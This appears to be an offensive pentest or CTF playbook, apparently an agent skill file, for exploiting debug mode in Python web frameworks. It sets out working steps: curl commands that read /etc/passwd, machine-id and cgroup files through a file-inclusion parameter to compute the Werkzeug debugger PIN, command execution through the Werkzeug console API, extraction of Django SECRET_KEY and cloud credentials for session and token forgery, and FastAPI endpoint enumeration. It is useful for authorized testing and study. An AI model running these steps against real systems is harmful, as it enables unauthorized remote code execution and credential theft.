The Debug mode of Python Web frameworks is one of the most dangerous configuration mistakes left by developers—the Werkzeug debugger directly provides an interactive Python shell (RCE), Django DEBUG=True leaks the complete configuration and source code paths, and FastAPI /docs exposes all API endpoints.
Phase 0: Quick identification
| Signal | Framework | Severity level |
|---|---|---|
/console path accessible |
Flask/Werkzeug | 🔴 RCE (requires PIN) |
| Error page displays Werkzeug Debugger | Flask | 🔴 RCE |
Yellow error page + Settings + Traceback |
Django | 🟠 Information disclosure |
/docs or /redoc accessible |
FastAPI | 🟡 API exposure |
| Error page contains Python traceback + source code paths | Any | 🟡 Information disclosure |
X-Powered-By: Werkzeug or Server: Werkzeug |
Flask | Identify framework |
404 page contains Not Found. The requested URL was not found |
Flask default | Identify framework |
Phase 1: Werkzeug Debugger RCE (highest priority)
The Werkzeug debugger provides an interactive Python console in Debug mode, but since Werkzeug 0.11+ it requires PIN code verification.
1.1 Check whether /console is accessible
curl -s http://TARGET/console
# 如果返回 HTML 中包含 "Werkzeug Debugger" → 可利用
# 如果需要 PIN → 继续 PIN 计算
1.2 PIN calculation
The PIN is generated from the following 6 values (the get_pin_and_cookie_name function in the Werkzeug source code):
| # | Variable | How to obtain |
|---|---|---|
| 1 | username |
Username running Flask → /etc/passwd or leaked by the error page |
| 2 | modname |
usually flask.app |
| 3 | getattr(app, '__name__', type(app).__name__) |
usually Flask |
| 4 | getattr(mod, '__file__', None) |
Flask's app.py path → leaked by the error page |
| 5 | uuid.getnode() |
Network interface MAC address → /sys/class/net/eth0/address |
| 6 | get_machine_id() |
/etc/machine-id or /proc/sys/kernel/random/boot_id(take the first available value) + /proc/self/cgroup fragment |
Complete PIN calculation algorithm → read references/werkzeug-pin-calculation.md
1.3 Read necessary files
Usually needs to be read through LFI/SSRF/error message disclosure:
# MAC 地址(去掉冒号,转为十进制)
curl http://TARGET/vuln?file=/sys/class/net/eth0/address
# 02:42:ac:11:00:02 → 0x0242ac110002 → 2485377892354
# machine-id
curl http://TARGET/vuln?file=/etc/machine-id
# 如果不存在,用 boot_id:
curl http://TARGET/vuln?file=/proc/sys/kernel/random/boot_id
# cgroup(Docker 环境中需要)
curl http://TARGET/vuln?file=/proc/self/cgroup
# 取第一行最后一个 / 后的内容(容器 ID)
# 运行用户
curl http://TARGET/vuln?file=/etc/passwd
# 或从错误页面的 traceback 中提取路径 /home/USERNAME/...
1.4 Exploitation after obtaining the PIN
# 1. 访问 /console,输入 PIN
# 2. 在 Python console 中执行命令:
import os; os.popen('id').read()
import os; os.popen('cat /flag*').read()
# 3. 或通过 API 调用(不需要浏览器):
# 先获取 PIN cookie
curl 'http://TARGET/console?__debugger__=yes&cmd=pinauth&pin=PIN_CODE&s=SECRET'
# SECRET 从 /console 页面的 HTML 中提取
# 然后执行命令
curl 'http://TARGET/console?__debugger__=yes&cmd=__import__("os").popen("id").read()&frm=0&s=SECRET' \
-H 'Cookie: __wzd..=PIN_COOKIE'
Werkzeug 2.1+ uses the SHA-1 algorithm to generate the PIN (previously MD5), and the calculation script needs to distinguish between versions.
Phase 2: Django DEBUG=True information disclosure
2.1 Trigger the debug page
# 访问不存在的 URL → Django 会显示所有 URL 配置
curl http://TARGET/nonexistent_path_12345/
# 触发错误 → 显示完整 traceback + 源码 + settings
curl http://TARGET/api/test?id='
2.2 Extract sensitive information
Django debug page leaks:
- Settings:
SECRET_KEY, database configuration, AWS credentials, mail server - URL configuration: all routes including the admin backend path
- Traceback: source code snippets, file paths, local variable values
- Request information: Cookie, Session data
关键搜索:
SECRET_KEY → 可伪造 session/CSRF token
DATABASE → 数据库连接信息
AWS_ACCESS_KEY → 云凭据
ALLOWED_HOSTS → 子域名信息
2.3 Django SECRET_KEY exploitation
After obtaining SECRET_KEY:
# 伪造 Django 签名数据 / session
# Django 默认使用 JSONSerializer;只有显式配置 PickleSerializer 的旧应用才存在 pickle 反序列化 RCE 风险
import django.core.signing
# 默认 JSON session 场景主要关注签名数据伪造;PickleSerializer 场景再参考 deserialization-methodology skill
# 伪造密码重置 Token
from django.contrib.auth.tokens import PasswordResetTokenGenerator
Phase 3: FastAPI /docs exposure
3.1 Detection
curl -s http://TARGET/docs # Swagger UI
curl -s http://TARGET/redoc # ReDoc
curl -s http://TARGET/openapi.json # OpenAPI schema(最有价值)
3.2 Exploitation
/openapi.json contains the complete definition of all API endpoints—paths, methods, parameters, response formats:
# 下载完整 API 定义
curl -s http://TARGET/openapi.json | python3 -m json.tool
# 提取所有端点
curl -s http://TARGET/openapi.json | jq '.paths | keys[]'
# 重点关注:
# - /admin/ 路径下的管理接口
# - 含 delete/update/create 的端点
# - 含 user/role/permission 的端点
# - 含 file/upload/download 的端点
Phase 4: Tornado/Bottle/other frameworks
Tornado Debug mode
# Tornado debug=True 时,错误页面显示完整 traceback
# 但不像 Werkzeug 那样提供交互式 console
# 关注:源码路径、配置信息、cookie_secret 泄露
General Python error message exploitation
Error pages in Debug mode for any Python web framework may leak:
- Filesystem paths → determine installation location and user
- Environment variables → may contain secrets, credentials
- Dependency versions → look up known CVEs
- Database connection strings → direct database connection
Decision tree
发现 Python Web 应用
├── /console 可访问 → Werkzeug Debugger → PIN 计算 → RCE
├── 错误页面是 Django 黄色调试页 → 提取 SECRET_KEY → Session 伪造
├── /docs 或 /redoc 可访问 → FastAPI → API 枚举
├── 错误页面含 Python traceback → 信息收集(路径/用户/版本)
└── 以上都不是 → 主动触发错误(特殊字符/类型错误/长输入)
Reference resources
- Complete Werkzeug PIN calculation algorithm (including Python 3.x and Docker differences) → references/werkzeug-pin-calculation.md